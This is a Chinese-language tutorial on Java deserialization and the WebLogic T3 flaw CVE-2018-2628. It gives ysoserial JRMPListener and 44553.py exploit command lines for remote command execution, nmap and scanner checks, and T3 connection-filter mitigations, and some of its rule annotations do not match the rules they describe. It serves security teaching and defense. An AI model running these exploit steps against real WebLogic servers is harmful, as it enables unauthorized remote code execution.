Java反序列化漏洞之——weblogic反序列化漏洞(CVE-2018-
2628)
⼀、Java 序列化与反序列化
Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、⽂件、数据库中,ObjectOutputStream类的 writeObject() ⽅法可以实现序列化。
Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() ⽅法⽤于反序列化。
序列化与反序列化是让 Java 对象脱离 Java 运⾏环境的⼀种⼿段,可以有效的实现多平台之间的通信、对象持久化存储。主要应⽤在以下场景:
HTTP:  多平台之间的通信,管理等
RMI:是 Java 的⼀组拥护开发分布式应⽤程序的 API,实现了不同操作系统之间程序的⽅法调⽤。值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端⼝是 1099 端⼝。
JMX: JMX 是⼀套标准的代理和服务,⽤户可以在任何 Java 应⽤程序中使⽤这些代理和服务实现管理,中间件软件 WebLogic 的管理页⾯就是基于 JMX 开发的,⽽ JBoss 则整个系统都基于 JMX 构架。
2016年Spring RMI反序列化漏洞今年⽐较出名的:Jackson,FastJson
Java ⼗分受开发者喜爱的⼀点是其拥有完善的第三⽅类库,和满⾜各种需求的框架;但正因为很多第三⽅类库引⽤⼴泛,如果其中某些组件出现安全问题,那么受影响范围将极为⼴泛。
⼆、Java反序列化漏洞与Weblogic反序列化漏洞介绍
1.Java反序列化漏洞历史
最为出名的⼤概应该是:15年的Apache Commons Collections 反序列化远程命令执⾏漏洞,其当初影响范围包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd等。
Apache Commons Collections 3和4,Groovy,Spring,只要⽬标应⽤的Class Path中包含这些库,可让readObject()实现任意命令执⾏。影响⽐较⼴泛的就是Apache Commons Collections这个库,中间件基本都会涉及使⽤此库。
2. Weblogic Java反序列化漏洞介绍
因为weblogic底层也使⽤Apache Commons Collections库,WebLogic 存在Java反序列化漏洞⽆疑的。不过在漏洞修复这⽅
⾯,Oracle⼀直未完全修复完。以下是基于Weblogic t3协议引起远程代码执⾏的反序列化漏洞统计:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2019-2890
Ysoserial
python转java代码介绍
Ysoserial是国外⼀款安全⼯具,集合了各种java反序列化payload,下载地址:
使⽤⽅法
1、⾸先使⽤ysoserial在攻击机上启动⼀个 JRMP server,输⼊以下命令
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.ploit.JRMPListener [listen port] CommonsCollections1 [command]
[listen port]:攻击机要监听的端⼝
[command]:想要执⾏的命令
2、开始使⽤44553.py脚本来向⽬标发送数据包(基于python2.x)
python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
[victim ip]:⽬标weblogic的IP
[victim port]:⽬标weblogic的端⼝
[path to ysoserial] :ysoserial的路径
[JRMPListener ip] :第⼀步中启动JRMP Server的IP地址
[JRMPListener port] :第⼀步中启动JRMP Server的I端⼝地址
[JRMPClient]:执⾏JRMPClient的类,可选的值是JRMPClient或JRMPClient2
解释:JRMPListener 是 ysoserial ⼯具⾥的其中⼀个利⽤模块,作⽤是通过反序列化,开启当前主机的⼀个 JRMP Server ,具体的利⽤过程是,将反序列化数据发送到 Server 中,然后Server 中进⾏反序列化操作,并开启指定端⼝,然后在通过 JRMPClient 去发送攻击payload。
RMI和JRMP协议
RMI是Remote Method Invocation的简称,是J2SE的⼀部分,能够让程序员开发出基于Java的分布式应⽤。⼀个RMI对象是⼀个远程Java对象,可以从另⼀个Java虚拟机上(甚⾄跨过⽹络)调⽤它的⽅法,可以像调⽤本地Java对象的⽅法⼀样调⽤远程对象的⽅法,使分布在不同的JVM中的对象的外表和⾏为都像本地对象⼀样,RMI传输过程都使⽤序列化和反序列化。RMI⽬前使⽤Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进⾏通信。JRMP协议是专为Java的远程对象制定的协议。
T3协议
WebLogic Server 中的 RMI 通信使⽤ T3 协议在WebLogic Server和其他 Java程序(包括客户端及其他 WebLogic Server 实例)间传输数据(序列化的类)。由于WebLogic的T3协议和Web协议共⽤同⼀个端⼝,因此只要能访问WebLogic就可利⽤T3协议实现payload 和⽬标服务器的通信。
如何检查存在漏洞
以CVE-2018-2628漏洞为例
nmap -n -v -p7001,7002 192.168.197.139 --script=weblogic-t3-info
针对7001,和7002两个默认的控制端⼝进⾏扫描,扫描的时候加上weblogic-t3-info脚本,如果⽬标服
务器开启了T3协议就会在扫描结果中显⽰。
使⽤CVE-2018-2628漏洞检测⼯具,对⽬标主机进⾏检测。在中填⼊⽬标主机的“ip:port”,这⾥填⼊
192.168.197.139:7001.在kali⾥运⾏CVE-2018-2628-MultiThreading.py(基于python2.x版本)开始检测,可以看到检测结果为漏洞存在。
临时解决办法
可通过控制T3协议的访问来临时阻断攻击⾏为。WebLogicServer 提供了名为weblogic.security.ConnectionFilterImpl 的默认连接筛选器。此连接筛选器接受所有传⼊连接,可通过此连接筛选器配置规则,对t3及t3s协议进⾏访问控制。
(1)进⼊Weblogic控制台,在base_domain的配置页⾯中,进⼊“安全”选项卡页⾯,点击“筛选器”,进⼊连接筛选器配置。
在连接筛选器中输⼊:weblogic.security.ConnectionFilterImpl,在连接筛选器规则中输⼊:* * 7001 deny t3 t3s
保存后规则即可⽣效,⽆需重新启动。
详细解析:
127.0.0.1 * * allow  //表⽰允许本机回环地址所有协议的连接
10.1.34.205 * * allow  //表⽰允许来⾃10.10.5.68地址任何协议的访问请求
10.156.0.57/255.255.255.0 * * allow 或 10.156.0.57/24 * * allow  //表⽰允许10.10.3.0⽹段所有协议的
连接  0.0.0.0/0 * * deny t3 t3s  //表⽰禁⽌除上⾯三条规则以外所有IP地址或⽹段t3、t3s协议的连接。
或者更换端⼝
错误配置
10.1.34.205 * 8001 allow
10.156.0.57 * 8001 allow
10.156.0.58 * 8001 allow
0.0.0.0/0 * * 7001 allow
0.0.0.0/0 * * deny
正确配置:
ip * * allow t3 (ip为允许的ip)
0.0.0.0/0 * *deny t3 t3s
备注:
weblogic漏洞扫描器搭建 kali环境
chmod +x WeblogicScan.py //提权
python3 ./WeblogicScan.py  192.168.197.139 7001  //检测CVE-2018-2628-MultiThreading.py kali环境
;

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。